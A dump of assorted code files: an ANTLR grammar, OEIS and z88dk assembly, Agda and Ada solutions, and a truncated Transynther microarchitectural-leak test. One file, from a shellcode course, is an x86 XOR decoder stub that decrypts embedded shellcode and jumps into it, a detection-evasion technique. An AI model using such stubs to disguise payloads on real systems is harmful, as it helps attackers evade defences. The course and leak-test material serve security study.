max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
crates/unflow-parser/src/grammar/Design.g4 | IWANABETHATGUY/unflow | 61 | 5386 | grammar Design;
@tokenfactory{
pub type LocalTokenFactory<'input> = antlr_rust::token_factory::ArenaCommonFactory<'input>;
}
start: declarations* EOF;
declarations
: config_decl
| flow_decl
| page_decl
| style_decl
| component_decl
| library_decl
| layout_decl
;
config_decl: config_key COLON config_value;
config_key: IDENTIFIER;
config_value
: DIGITS_IDENTIFIER unit?
| DECIMAL_LITERAL unit?
| FLOAT_LITERAL unit?
| IDENTIFIER (',' IDENTIFIER)?
| STRING_LITERAL
;
unit: 'rem'
| 'px'
| 'em'
;
// Flow
flow_decl: FLOW IDENTIFIER LBRACE interaction_decl* RBRACE;
interaction_decl
: see_decl
| do_decl
| react_decl
;
see_decl: SEE (IDENTIFIER | STRING_LITERAL DOT component_name);
do_decl: DO LBRACK action_name RBRACK STRING_LITERAL DOT component_name ;
react_decl: REACT scene_name? COLON react_action animate_decl?;
animate_decl: WITHTEXT ANIMATE LPAREN animate_name RPAREN;
react_action
: goto_action
| show_action
;
goto_action: GOTO_KEY component_name;
show_action: SHOW_KEY STRING_LITERAL DOT component_name;
action_name: IDENTIFIER;
component_name: IDENTIFIER;
scene_name: IDENTIFIER;
animate_name: IDENTIFIER;
//PAGE
page_decl: PAGE IDENTIFIER LBRACE component_body_decl* RBRACE;
component_decl: COMPONENT IDENTIFIER LBRACE component_body_decl* RBRACE;
component_body_decl
: component_name (',' component_name)* # component_body_name
| config_key COLON config_value # component_body_config
;
layout_decl: LAYOUT IDENTIFIER LBRACE flex_child* RBRACE;
flex_child
: '-' '-'* # empty_line
| ('|' component_use_decl) ('|' component_use_decl)* '|' # flex_component_use
;
component_use_decl
: DECIMAL_LITERAL # component_use_decimal
| POSITION # component_use_position
| component_name (LPAREN component_parameter (',' component_parameter)* RPAREN)? # component_use_name_value
| STRING_LITERAL # component_use_string
;
component_parameter: DIGITS_IDENTIFIER | POSITION | STRING_LITERAL | IDENTIFIER;
// STYLE
style_decl: STYLE style_name LBRACE style_body RBRACE;
style_name: IDENTIFIER;
style_body: (config_decl ';')*;
// LIBRARY
library_name: IDENTIFIER;
library_decl: LIBRARY library_name LBRACE library_exp* RBRACE;
library_exp
: preset_key '=' (preset_value |preset_array) ';'? # library_config
| preset_key '{' key_value* '}' # library_object
;
key_value: preset_key '=' preset_value;
preset_key: IDENTIFIER;
preset_value: config_value;
preset_array: LBRACK preset_call (',' preset_call)* RBRACK;
preset_call: library_name DOT IDENTIFIER;
REPEAT: 'repeat';
GOTO_KEY: 'goto' | 'GOTO' | '跳转';
SHOW_KEY: 'show' | 'SHOW' | '展示';
FLOW: 'flow' | '流' ;
SEE: 'see' | 'SEE' | '看到';
DO: 'do' | 'DO' | '做';
REACT: 'react' | 'REACT' | '响应';
WITHTEXT: 'with' | 'WITH' | '使用';
ANIMATE: 'animate' | 'ANIMATE' | '动画';
PAGE: 'page' | 'PAGE' | '页面';
LIBRARY: 'library' | 'LIBRARY' | '库';
COMPONENT: 'component' | 'COMPONENT' | '组件';
LAYOUT: 'layout' | 'Layout' | '布局';
POSITION: 'LEFT' | 'RIGHT' | 'TOP' | 'BOTTOM';
STYLE: 'style' | 'STYLE' | 'CSS' | 'css';
STRING_LITERAL: '"' (~["\\\r\n] | EscapeSequence)* '"';
LPAREN: '(';
RPAREN: ')';
LBRACE: '{';
RBRACE: '}';
LBRACK: '[';
RBRACK: ']';
Quote: '"';
SingleQuote: '\'';
COLON: ':';
DOT: '.';
COMMA: ',';
LETTER: Letter;
IDENTIFIER: Letter LetterOrDigit*;
DIGITS: Digits;
DIGITS_IDENTIFIER: LetterOrDigit LetterOrDigit*;
DECIMAL_LITERAL: ('0' | [1-9] (Digits? | '_'+ Digits)) [lL]?;
FLOAT_LITERAL
: (Digits '.' Digits? | '.' Digits) ExponentPart? [fFdD]?
| Digits (ExponentPart [fFdD]? | [fFdD])
;
fragment DIGIT
:'0'..'9'
;
fragment ExponentPart
: [eE] [+-]? Digits
;
fragment INTEGER
: DIGIT+
;
fragment EscapeSequence
: '\\' [btnfr"'\\]
| '\\' ([0-3]? [0-7])? [0-7]
| '\\' 'u'+ HexDigit HexDigit HexDigit HexDigit
;
fragment HexDigit
: [0-9a-fA-F]
;
fragment Digits
: [0-9] ([0-9_]* [0-9])?
| ('0' .. '9') + ('.' ('0' .. '9') +)?
;
fragment LetterOrDigit
: Letter
| Digits
;
fragment Letter
: [a-zA-Z$_] // these are the "java letters" below 0x7F
| ~[\u0000-\u007F\uD800-\uDBFF] // covers all characters above 0x7F which are not a surrogate
| [\uD800-\uDBFF] [\uDC00-\uDFFF] // covers UTF-16 surrogate pairs encodings for U+10000 to U+10FFFF
;
//WS: [ \t\r\n\u000C]+ -> channel(HIDDEN);
fragment WhiteSpace
: '\u0020' | '\u0009' | '\u000D' | '\u000A'
;
WS
: WhiteSpace+ -> skip
;
NL : '\r' '\n' | '\n' | '\r';
NEWLINE
: NL+ -> skip
;
COMMENT
: '/*' .*? '*/' -> skip
;
LINE_COMMENT
: '//' (~[\r\n])* -> skip
;
|
programs/oeis/186/A186220.asm | neoneye/loda | 22 | 167947 | <reponame>neoneye/loda<filename>programs/oeis/186/A186220.asm
; A186220: Adjusted joint rank sequence of (g(i)) and (f(j)) with f(i) before g(j) when f(i)=g(j), where f and g are the triangular numbers and squares. Complement of A186219.
; 2,4,6,9,11,14,16,18,21,23,26,28,30,33,35,38,40,42,45,47,50,52,55,57,59,62,64,67,69,71,74,76,79,81,84,86,88,91,93,96,98,100,103,105,108,110,112,115,117,120,122,125,127,129,132,134,137,139,141,144,146,149,151,154,156,158,161,163,166,168,170,173,175,178,180,182,185,187,190,192,195,197,199,202,204,207,209,211,214,216,219,221,224,226,228,231,233,236,238,240
mov $3,$0
add $3,1
mov $5,$0
lpb $3
mov $0,$5
sub $3,1
sub $0,$3
mov $7,2
mov $8,0
mov $9,$0
lpb $7
mov $0,$9
mov $2,0
sub $7,1
add $0,$7
pow $0,2
mov $4,0
lpb $0
sub $0,$2
trn $0,2
add $2,1
lpe
add $4,$2
mov $6,$7
mul $6,$4
add $8,$6
lpe
min $9,1
mul $9,$4
mov $4,$8
sub $4,$9
add $4,1
add $1,$4
lpe
mov $0,$1
|
MODULE2/6-xor-encoder/xor-decode/xor-decoder.asm | wetw0rk/SLAE | 18 | 81214 | ; Executable name : xor-decoder
; Designed OS : Linux (32-bit)
; Author : wetw0rk
; Version : 1.0
; Created Following : SLAE
; Description : An example of xor encoded shellcode
;
;
SECTION .text
global _start
_start:
jmp short call_decoder ; JMP to call_decoder
decoder:
pop ebx ; POP our shellcode address
; into EBX
xor ecx,ecx ; zero out
mov cl,19 ; MOV the length of shellcode
; into CL.
decode:
xor byte [ebx],0xAA ; XOR every byte in EBX with
; 0xAA
inc ebx ; itterate for every byte
loop decode ; loop for every byte 19 times
jmp short shellcode ; shellcode has been decoded
; JMP to it and execute
call_decoder:
call decoder ; CALL the decoder
shellcode:
db 0x9b,0x6a,0xfa,0xc2,0x85,0x85,0xd9,0xc2 ; prevously encoded
db 0xc2,0x85,0xc8,0xc3,0xc4,0x1a,0xa1,0x23 ; shellcode.
db 0x49,0x67,0x2a ; ^
|
agda/InsertSort/Impl2/Correctness/Permutation/Base.agda | bgbianchi/sorting | 6 | 6531 | open import Relation.Binary.Core
module InsertSort.Impl2.Correctness.Permutation.Base {A : Set}
(_≤_ : A → A → Set)
(tot≤ : Total _≤_) where
open import Bound.Lower A
open import Bound.Lower.Order _≤_
open import Data.List
open import Data.Sum
open import InsertSort.Impl2 _≤_ tot≤
open import List.Permutation.Base A
open import OList _≤_
lemma-forget-insert : {b : Bound} → (x : A) → (b≤x : LeB b (val x)) → (xs : OList b) → forget (insert b≤x xs) / x ⟶ forget xs
lemma-forget-insert x b≤x onil = /head
lemma-forget-insert x b≤x (:< {x = y} b≤y ys)
with tot≤ x y
... | inj₁ x≤y = /head
... | inj₂ y≤x = /tail (lemma-forget-insert x (lexy y≤x) ys)
theorem-insertSort∼ : (xs : List A) → xs ∼ forget (insertSort xs)
theorem-insertSort∼ [] = ∼[]
theorem-insertSort∼ (x ∷ xs) = ∼x /head (lemma-forget-insert x lebx (insertSort xs)) (theorem-insertSort∼ xs)
|
programs/oeis/113/A113770.asm | karttu/loda | 1 | 177978 | ; A113770: Partial sums of A113311(n)^2.
; 1,10,26,42,58,74,90,106,122,138,154,170,186,202,218,234,250,266,282,298,314,330,346,362,378,394,410,426,442,458,474,490,506,522,538,554,570,586,602,618,634,650,666,682,698,714,730,746,762,778,794
mul $0,16
mov $1,$0
trn $1,7
add $1,1
|
src/tiles.asm | fjpena/sword-of-ianna-msx2 | 43 | 89894 | <filename>src/tiles.asm
; Init tiles
; Initialize the dirty tiles area. Will just zero it out.
;
; Now each dirty rectangle will have a simple 4-byte schema:
;
; Byte 0: X char (min)
; Byte 1: Y char (min)
; Byte 2: X char (max)
; Byte 3: Y char (max)
;
; Potentially, we can have up to 48 dirty rectangles, so 48x4=192 bytes
InitTiles:
ld hl, tiles_dirty
ld bc, 191 ; Just fill the whole structure with zeroes
ld (hl), b
ld de, tiles_dirty+1
ldir
xor a
ld (ndirtyrects), a ; no dirty tiles.
ret
; Draw initial screen from tile map
DrawScreen:
xor a
ld (ndirtyrects), a ; no dirty tiles.
ld c, 10
drawsc_y_loop:
ld b, 16
drawsc_x_loop:
push bc
exx
pop bc
call DrawTile
exx
djnz drawsc_x_loop
dec c
jr nz, drawsc_y_loop
ld c, 10
drawsc_y_loop_fg:
ld b, 16
drawsc_x_loop_fg:
push bc
exx
pop bc
call DrawFGTile
exx
djnz drawsc_x_loop_fg
dec c
jr nz, drawsc_y_loop_fg
; Switch visible screen to the shadow one
ld a, 1
call setDisplayPage
; And copy the actual tiles
ld bc, 0
ld de, 16*256+12
call InvalidateSTiles
call TransferDirtyTiles
; Finally, switch again the visible screen
xor a
call setDisplayPage
ret
; Draw a 16x16 stile
;
; INPUT:
; B: x stile + 1
; C: y stile + 1
DrawTile:
ld a, c
cp 11
ret nc ; avoid drawing outside the lower border
dec b
dec c
; We need to index the CURRENT_SCREEN_MAP array
; the address is CURRENT_SCREEN_MAP + Y*16 + X
ld a, c
rlca
rlca
rlca
rlca
and $f0 ; A has Y * 16
ld c, a ; store for the drawTile routine
add a, b ; A has Y*16 + X
ld e, a
ld a, b
rlca
rlca
rlca
rlca
ld b, a ; store for the drawTile routine
ld d, 0
ld hl, CURRENT_SCREEN_MAP
add hl, de
ld a, (hl)
jp drawTile
; Draw a 16x16 foreground stile
;
; INPUT:
; B: x stile + 1
; C: y stile + 1
DrawFGTile:
ld a, c
cp 11
ret nc ; avoid drawing outside the lower border
dec b
dec c
; We need to index the CURRENT_SCREEN_MAP_FG array
; the address is CURRENT_SCREEN_MAP_FG + Y*16 + X
ld a, c
rlca
rlca
rlca
rlca
and $f0 ; A has Y * 16
ld c, a ; store for the drawTile routine
add a, b ; A has Y*16 + X
ld e, a
ld a, b
rlca
rlca
rlca
rlca
ld b, a ; store for the drawTile routine
ld d, 0
ld hl, CURRENT_SCREEN_MAP_FG
add hl, de
ld a, (hl)
and a
ret z ; exclude tiles == 0
jp drawFGTile
; Invalidate tiles
; INPUT:
; B: First tile to invalidate in X
; C: First tile to invalidate in Y
; D: Number of tiles to invalidate in X
; E: Number of tiles to invalidate in Y
InvalidateTiles:
ld a, d
add a, b ; A = last X tile
dec a
rrca
and $1f ; A = max stile
ld d, a
ld a, b
rrca
and $1f
ld b, a ; B = min stile
ld a, d
sub b
inc a
ld d, a ; D = number of stiles
ld a, e
add a, c ; A = max Y tile
dec a
rrca
and $1f ; A = max Y stile
ld e, a
ld a, c
rrca
and $1f
ld c, a ; C = min Y stile
ld a, e
sub c
inc a
ld e, a ; E = number of stiles
push bc
push de
push ix
ld a, d
add a, a ; turn stiles into tiles
ld d, a
ld a, e
add a, a ; turn stiles into tiles
ld e, a
call AnimStile_CheckSprites
pop ix
pop de
pop bc
; Invalidate supertiles
; INPUT:
; B: First supertile to invalidate in X
; C: First supertile to invalidate in Y
; D: Number of supertiles to invalidate in X
; E: Number of supertiles to invalidate in Y
InvalidateSTiles:
push de
ld a, (ndirtyrects)
add a, a
add a, a ; a*4
ld e, a
ld d, 0
ld hl, tiles_dirty
add hl, de ; HL points to the dirty rectangle area
pop de
ld (hl), b
inc hl
ld (hl), c
inc hl
ld (hl), d
inc hl
ld (hl), e
ld a, (ndirtyrects)
inc a
ld (ndirtyrects),a ; we now have one more dirty rect
ret
; Transfer all dirty tiles from the shadow to the real screen
;
; INPUT: none
; OUTPUT: none
TransferDirtyTiles:
ld a, (ndirtyrects)
and a
ret z ; no dirty tiles, just exit
ld b, a
ld hl, tiles_dirty ; get the dirty tiles list
dirtyrectloop_2:
push bc
ld b, (hl) ; Xmin
inc hl
ld c, (hl) ; Ymin
inc hl
ld d, (hl) ; Xcount
inc hl
ld e, (hl) ; Ycount
inc hl
push hl ; save pointer
dirty_y_loop_2:
push de
push bc
dirty_x_loop_2:
push bc
exx
pop bc
call CopyTile
exx
inc b
dec d
jr nz, dirty_x_loop_2
pop bc
pop de
inc c
dec e
jr nz, dirty_y_loop_2
pop hl ; restore pointer to dirty rect list
pop bc ; restore loop counter
djnz dirtyrectloop_2 ; loop!
xor a
ld (ndirtyrects), a ; set dirtyrects number to 0
ret
; Redraw all invalidated tiles
; No input
RedrawInvTiles:
ld a, (ndirtyrects)
and a
ret z ; no dirty tiles, just exit
ld b, a
ld hl, tiles_dirty ; get the dirty tiles list
dirtyrectloop:
push bc
ld b, (hl) ; Xmin
inc hl
ld c, (hl) ; Ymin
inc hl
ld d, (hl) ; Xcount
inc hl
ld e, (hl) ; Ycount
inc hl
push hl ; save pointer
dirty_y_loop:
push de
push bc
dirty_x_loop:
push bc
exx
pop bc
inc b
inc c
call DrawTile
exx
inc b
dec d
jr nz, dirty_x_loop
pop bc
pop de
inc c
dec e
jr nz, dirty_y_loop
pop hl ; restore pointer to dirty rect list
pop bc ; restore loop counter
djnz dirtyrectloop ; loop!
ret
; Redraw all invalidated foreground tiles
; No input
RedrawInvTiles_FG:
ld a, (ndirtyrects)
and a
ret z ; no dirty tiles, just exit
ld b, a
ld hl, tiles_dirty ; get the dirty tiles list
dirtyrectloop_fg:
push bc
ld b, (hl) ; Xmin
inc hl
ld c, (hl) ; Ymin
inc hl
ld d, (hl) ; Xcount
inc hl
ld e, (hl) ; Ycount
inc hl
push hl ; save pointer
dirty_y_loop_fg:
push de
push bc
dirty_x_loop_fg:
push bc
exx
pop bc
inc b
inc c
call DrawFGTile
exx
inc b
dec d
jr nz, dirty_x_loop_fg
pop bc
pop de
inc c
dec e
jr nz, dirty_y_loop_fg
pop hl ; restore pointer to dirty rect list
pop bc ; restore loop counter
djnz dirtyrectloop_fg ; loop!
ret
; Go through the animation of animated stiles
; - INPUT: none
; - OUTPUT: none
AnimateSTiles:
ld a, (curscreen_numanimtiles)
and a
ret z ; If there are no animated tiles here, just return
ld hl, curscreen_animtiles
AnimateSTiles_loop:
push af
ld b, (hl)
inc hl
ld c, (hl)
inc hl ; get the X and Y coordinates
push hl ; save the pointer to
ld hl, CURRENT_SCREEN_MAP ; we need to address the map at C*16+B
ld a, c
rrca
rrca
rrca
rrca
and $f0
or b
ld e, a
ld d, 0
add hl, de ; HL now points to the supertile
ld a, (hl) ; THIS is the supertile to increment
cp 240
jr nc, AnimateStile_loop_doit ; if this supertile is < 240, there is no need to increment
ld hl, CURRENT_SCREEN_MAP_FG ; now check the foreground map
add hl, de
ld a, (hl)
cp 240
jr c, AnimateSTiles_loop_cont ; if this supertile is < 240, there is no need to increment
AnimateStile_loop_doit:
and $fc ; keep the high 6 bits
ld e, a ; save it in E
ld a, (hl)
inc a
and $3 ; next animation
or e
ld (hl), a ; save the updated supertile. Now we just have to update it on screen
call UpdateSuperTile
AnimateSTiles_loop_cont:
pop hl
pop af
dec a
jr nz, AnimateSTiles_loop
ret
; Update a supertile on screen
; Assumes the supertile map has already been updated
; INPUT:
; - A: stile number
; - B: X coord of stile
; - C: Y coord of stile
UpdateSuperTile:
ld de, $0101
push bc
call InvalidateSTiles ; Invalidate tiles
pop bc
ld d, 2
ld e, 2
; call AnimStile_CheckSprites ; Check overlapping sprites
; ret
; Check if animated stile overlaps with sprites
; If so, mark them for redraw
; INPUT:
; - B: X position for stile
; - C: Y position for stile
; - D: number of chars used in X
; - E: number of chars used in Y
; We will abuse the sprite routines...
AnimStile_CheckSprites:
; We can reenter this function, so we need to save the contents of the simulated sprite
exx
ld hl, simulatedsprite
ld b, (hl) ; +0
inc hl
ld c, (hl) ; +1
inc hl
push bc
ld b, (hl) ; +2
inc hl
ld c, (hl) ; +3
inc hl
push bc
ld b, (hl) ; +4
inc hl
ld c, (hl) ; +5
inc hl
push bc
ld b, (hl) ; +6
inc hl
ld c, (hl) ; +7
push bc
exx
ld ix, simulatedsprite
ld a, b
rlca
rlca
rlca
rlca
and $f8
ld (ix+3), a ; xmin
ld a, c
rlca
rlca
rlca
rlca
and $f8
ld (ix+4), a ; ymin
ld (ix+5), d ; number of chars used in X
ld (ix+6), e ; number of chars used in Y
call MarkOverlappingSprites
; and restore the simulated sprite at the end
exx
ld hl, simulatedsprite + 7
pop bc
ld (hl), c ; +7
dec hl
ld (hl), b ; +6
dec hl
pop bc
ld (hl), c ; +5
dec hl
ld (hl), b ; +4
dec hl
pop bc
ld (hl), c ; +3
dec hl
ld (hl), b ; +2
dec hl
pop bc
ld (hl), c ; +1
dec hl
ld (hl), b ; +0
exx
ret
; Get the value for the tile in the hardness map
;
; INPUT:
; - B: X in stile coordinates
; - C: Y in stile coordinates
; OUTPUT:
; - A: value in hardness map
GetHardness:
ld a, c ; we will need to point to hardness + Y*4 + X/4
cp 10
jr nc, gh_fardown ; going below the end of screen
rlca
rlca ; Y*4
ld e, a
ld d, 0
ld a, b
and $0C ; get the two most significant bits
rrca
rrca
or e
ld e, a
ld hl, CURRENT_SCREEN_HARDNESS_MAP
add hl, de ; HL now points to the correct byte
ld e, (hl) ; and we keep it in E
ld a, b ; each pair of bits holds the value for a single tile. We will need to select those
and $3
rlca ; 6 - (B & 3 ) * 2 is the number of shifts to do
ld b, a
ld a, 6
sub b ; A has it
jr z, gh_noshift
gh_shiftloop:
rrc e
dec a
jr nz, gh_shiftloop ; we are shifting it right
gh_noshift:
ld a, e ; now load it in A
and $3 ; and keep only the two significant bits
ret
gh_fardown:
xor a ; if going down, hardness is 0
ret
; Set the value for the stile in the hardness map
;
; INPUT:
; - B: X in stile coordinates
; - C: Y in stile coordinates
; - A: value in hardness map to set (0 to 3)
hardness_bitmask: db $3F, $CF, $F3, $FC
SetHardness:
push bc
ex af, af'
ld a, b
and $3
ld e, a
ld d, 0
ld hl, hardness_bitmask
add hl, de
ld a, (hl) ; so A has the bitmask
push af ; save the bitmask
ld a, c ; we will need to point to hardness + Y*4 + X/4
rlca
rlca ; Y*4
ld e, a
ld d, 0
ld a, b
and $0C ; get the two most significant bits
rrca
rrca
or e
ld e, a
ld hl, CURRENT_SCREEN_HARDNESS_MAP
add hl, de ; HL now points to the correct byte
ld e, (hl) ; and we keep it in E
pop af ; restore the bitmask
and e ; A AND E will ignore the bitmask
ld e, a ; and store it back on E
ex af, af' ; restore A, the value to set in the hardness map
ld d, a ; and save it in D
ld a, b ; each pair of bits holds the value for a single tile. We will need to select those
and $3
rlca ; 6 - (B & 3 ) * 2 is the number of shifts to do
ld b, a
ld a, 6
sub b ; A has it
jr z, sh_noshift
sh_shiftloop:
rlc d
dec a
jr nz, sh_shiftloop ; we are shifting it right
sh_noshift:
ld a, e ; now load the original bits in A
or d ; and OR it with the new value
ld (hl), a ; Finally, save it!
pop bc
ret
; Set the value for the stile in the map
;
; INPUT:
; - B: X in stile coordinates
; - C: Y in stile coordinates
; - A: stile value to set (0 to 255)
SetStile:
push af
ld hl, CURRENT_SCREEN_MAP ; we need to address the map at C*16+B
ld a, c
rrca
rrca
rrca
rrca
and $f0
or b
ld e, a
ld d, 0
add hl, de ; HL now points to the supertile
pop af
ld (hl), a ; store the new tile
push hl
push bc
push de
push af
push ix
push iy
call UpdateSuperTile
pop iy
pop ix
pop af
pop de
pop bc
pop hl
ret
; Supporting function: make a supertile empty
; INPUT:
; - B: X coordinate
; - C: Y coordinate
empty_supertile:
push bc
xor a
call SetStile
pop bc
xor a
call SetHardness ; and set the hardness of this stile to "empty"
ret
|
libsrc/_DEVELOPMENT/math/float/math48/c/sdcc_ix/cm48_sdccixp_slong2ds.asm | jpoikela/z88dk | 640 | 13677 | <reponame>jpoikela/z88dk
; float __slong2fs (signed long sl)
SECTION code_clib
SECTION code_fp_math48
PUBLIC cm48_sdccixp_slong2ds
EXTERN am48_double32, cm48_sdccixp_m482d
cm48_sdccixp_slong2ds:
; signed long to double
;
; enter : stack = signed long sl, ret
;
; exit : dehl = sdcc_float(sl)
;
; uses : af, bc, de, hl, bc', de', hl'
pop af
pop hl
pop de
push de
push hl
push af
call am48_double32
jp cm48_sdccixp_m482d
|
day19/src/day.adb | jwarwick/aoc_2020 | 3 | 7623 | <filename>day19/src/day.adb
-- AoC 2020, Day 19
with Ada.Text_IO;
with Ada.Containers.Indefinite_Hashed_Maps;
with Ada.Containers.Vectors;
use Ada.Containers;
with Ada.Strings.Fixed; use Ada.Strings.Fixed;
package body Day is
package TIO renames Ada.Text_IO;
type Rule_Type is (term, nonterm);
package Rule_Vectors is new Ada.Containers.Vectors
(Index_Type => Natural,
Element_Type => Natural);
use Rule_Vectors;
package Nested_Rule_Vectors is new Ada.Containers.Vectors
(Index_Type => Natural,
Element_Type => Rule_Vectors.Vector);
use Nested_Rule_Vectors;
type Rule(Kind : Rule_Type := nonterm) is record
case Kind is
when term =>
Value : Character;
when nonterm =>
Rules : Nested_Rule_Vectors.Vector;
end case;
end record;
procedure put(r : in Rule) is
begin
case r.Kind is
when term =>
TIO.put("Terminal: " & r.Value);
when nonterm =>
for v in r.Rules.first_index .. r.Rules.last_index loop
for s of r.Rules(v) loop
TIO.put(s'IMAGE & " ");
end loop;
if v /= r.Rules.last_index then
TIO.put(" | ");
end if;
end loop;
end case;
end put;
function rule_hash(id: Natural) return Hash_Type is
begin
return Hash_Type(id);
end rule_hash;
package Rule_Maps is new Ada.Containers.Indefinite_Hashed_Maps
(Key_Type => Natural,
Element_Type => Rule,
Hash => rule_hash,
Equivalent_Keys => "=");
use Rule_Maps;
rules : Rule_Maps.Map := Empty_Map;
pragma Warnings (Off, "procedure ""put_line"" is not referenced");
procedure put_line(r : in Rule_Maps.Map) is
pragma Warnings (On, "procedure ""put_line"" is not referenced");
begin
for c in r.Iterate loop
TIO.put(key(c)'IMAGE & " => ");
put(element(c));
TIO.new_line;
end loop;
end put_line;
function parse_transitions(line : in String) return Nested_Rule_Vectors.Vector is
n : Nested_Rule_Vectors.Vector := Nested_Rule_Vectors.Empty_Vector;
elt : Rule_Vectors.Vector := Rule_Vectors.Empty_Vector;
idx : Natural := line'first;
begin
loop
if idx > line'last then
n.append(elt);
exit;
end if;
if line(idx) = ' ' then
idx := idx + 1;
elsif line(idx) = '|' then
n.append(elt);
elt.clear;
idx := idx + 1;
else
declare
space_idx : constant Natural := index(line(idx .. line'last), " ");
begin
if space_idx = 0 then
elt.append(Natural'Value(line(idx..line'last)));
n.append(elt);
exit;
end if;
elt.append(Natural'Value(line(idx..space_idx)));
idx := space_idx + 1;
end;
end if;
end loop;
return n;
end parse_transitions;
procedure parse_rule(line : in String) is
colon : constant Natural := index(line, ":");
key : constant Natural := Natural'Value(line(line'first .. colon-1));
start : constant Natural := colon + 2;
begin
if line(start) = '"' then
rules.insert(key, Rule'(Kind => term, Value => line(start+1)));
else
declare
n : constant Nested_Rule_Vectors.Vector := parse_transitions(line(start .. line'last));
begin
rules.insert(key, Rule'(Kind => nonterm, Rules => n));
end;
end if;
end parse_rule;
function match(line : in String; r : Rule_Vectors.Vector) return Boolean is
begin
if line'length /= r.length then
return false;
end if;
if line'length /= 1 then
return false;
end if;
declare
f : constant Rule := rules(r.first_element);
c : constant Character := line(line'first);
begin
if f.Kind /= term then
return false;
end if;
if f.Value /= c then
return false;
end if;
end;
return true;
end match;
function test_input(line : in String; r : Rule_Vectors.Vector) return Boolean is
begin
if r.is_empty then
return false;
end if;
if line'length = 0 then
return false;
end if;
if match(line, r) then
return true;
end if;
declare
curr : constant Rule := rules(r.first_element);
begin
case curr.Kind is
when term =>
if curr.Value = line(line'first) then
declare
rest : Rule_Vectors.Vector := r;
begin
rest.delete_first;
return test_input(line(line'first+1..line'last), rest);
end;
else
return false;
end if;
when nonterm =>
for v of curr.Rules loop
declare
rest : Rule_Vectors.Vector := r;
begin
rest.delete_first;
if test_input(line, v & rest) then
return true;
end if;
end;
end loop;
return false;
end case;
end;
end test_input;
function test_input(line : in String) return Boolean is
r : Rule_Vectors.Vector := Rule_Vectors.Empty_Vector;
begin
r.append(0);
return test_input(line, r);
end test_input;
procedure read_rules(file : in out TIO.File_Type) is
begin
rules.clear;
loop
declare
line : constant String := TIO.get_line(file);
begin
if line'length = 0 then
exit;
end if;
parse_rule(line);
end;
end loop;
end read_rules;
function count_valid(filename : in String) return Natural is
file : TIO.File_Type;
sum : Natural := 0;
begin
TIO.open(File => file, Mode => TIO.In_File, Name => filename);
read_rules(file);
while not TIO.end_of_file(file) loop
if test_input(TIO.get_line(file)) then
sum := sum + 1;
end if;
end loop;
TIO.close(file);
return sum;
end count_valid;
function count_valid_updated(filename : in String) return Natural is
file : TIO.File_Type;
sum : Natural := 0;
begin
TIO.open(File => file, Mode => TIO.In_File, Name => filename);
read_rules(file);
rules.delete(8);
rules.delete(11);
parse_rule("8: 42 | 42 8");
parse_rule("11: 42 31 | 42 11 31");
while not TIO.end_of_file(file) loop
if test_input(TIO.get_line(file)) then
sum := sum + 1;
end if;
end loop;
TIO.close(file);
return sum;
end count_valid_updated;
end Day;
|
libsrc/_DEVELOPMENT/adt/bv_stack/c/sccz80/bv_stack_pop.asm | teknoplop/z88dk | 8 | 243108 | <reponame>teknoplop/z88dk<filename>libsrc/_DEVELOPMENT/adt/bv_stack/c/sccz80/bv_stack_pop.asm
; int bv_stack_pop(bv_stack_t *s)
SECTION code_clib
SECTION code_adt_bv_stack
PUBLIC bv_stack_pop
EXTERN asm_bv_stack_pop
defc bv_stack_pop = asm_bv_stack_pop
|
Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_18765_954.asm | ljhsiun2/medusa | 9 | 3418 | <reponame>ljhsiun2/medusa<filename>Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_18765_954.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r8
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x149cf, %r8
nop
xor %rdi, %rdi
mov (%r8), %ecx
nop
nop
cmp $3747, %rdx
lea addresses_WC_ht+0x1aed4, %r13
add %rcx, %rcx
mov $0x6162636465666768, %r11
movq %r11, (%r13)
nop
and %r8, %r8
lea addresses_UC_ht+0x16b23, %r13
nop
nop
nop
nop
xor %rbx, %rbx
vmovups (%r13), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $1, %xmm2, %rdx
nop
and $49463, %rdx
lea addresses_WT_ht+0x19323, %rsi
lea addresses_WT_ht+0x1a8b3, %rdi
nop
nop
nop
nop
nop
cmp %r13, %r13
mov $51, %rcx
rep movsw
add $46971, %rbx
lea addresses_WC_ht+0x5be7, %rbx
nop
nop
nop
nop
cmp %rcx, %rcx
mov (%rbx), %r8w
nop
nop
nop
nop
sub %rcx, %rcx
lea addresses_A_ht+0xb123, %rbx
nop
nop
nop
nop
nop
dec %rdx
mov $0x6162636465666768, %r8
movq %r8, %xmm4
and $0xffffffffffffffc0, %rbx
movntdq %xmm4, (%rbx)
nop
sub $12583, %rdx
lea addresses_A_ht+0x112f3, %rsi
lea addresses_WT_ht+0x10323, %rdi
nop
and %rbx, %rbx
mov $53, %rcx
rep movsb
nop
nop
nop
cmp $27087, %rbx
lea addresses_A_ht+0x2923, %rsi
lea addresses_UC_ht+0x4a91, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
cmp $30665, %r13
mov $40, %rcx
rep movsw
nop
nop
nop
nop
nop
add %rcx, %rcx
lea addresses_WC_ht+0x1963, %r11
nop
nop
nop
xor %rcx, %rcx
movb (%r11), %bl
nop
add $714, %rdx
lea addresses_A_ht+0xba10, %rsi
lea addresses_WC_ht+0x29d7, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
xor $18998, %r8
mov $15, %rcx
rep movsq
sub %r11, %r11
lea addresses_UC_ht+0x15a93, %r11
nop
nop
cmp $31866, %rbx
and $0xffffffffffffffc0, %r11
movntdqa (%r11), %xmm5
vpextrq $1, %xmm5, %r13
nop
nop
nop
nop
add $53458, %rdi
lea addresses_D_ht+0x2b63, %rcx
nop
nop
nop
nop
add %r11, %r11
mov $0x6162636465666768, %rsi
movq %rsi, %xmm0
vmovups %ymm0, (%rcx)
nop
nop
nop
nop
and %rsi, %rsi
lea addresses_UC_ht+0x1eba3, %rcx
nop
nop
nop
sub %r13, %r13
movl $0x61626364, (%rcx)
nop
xor %rdi, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r13
push %r14
push %r8
push %rdx
// Store
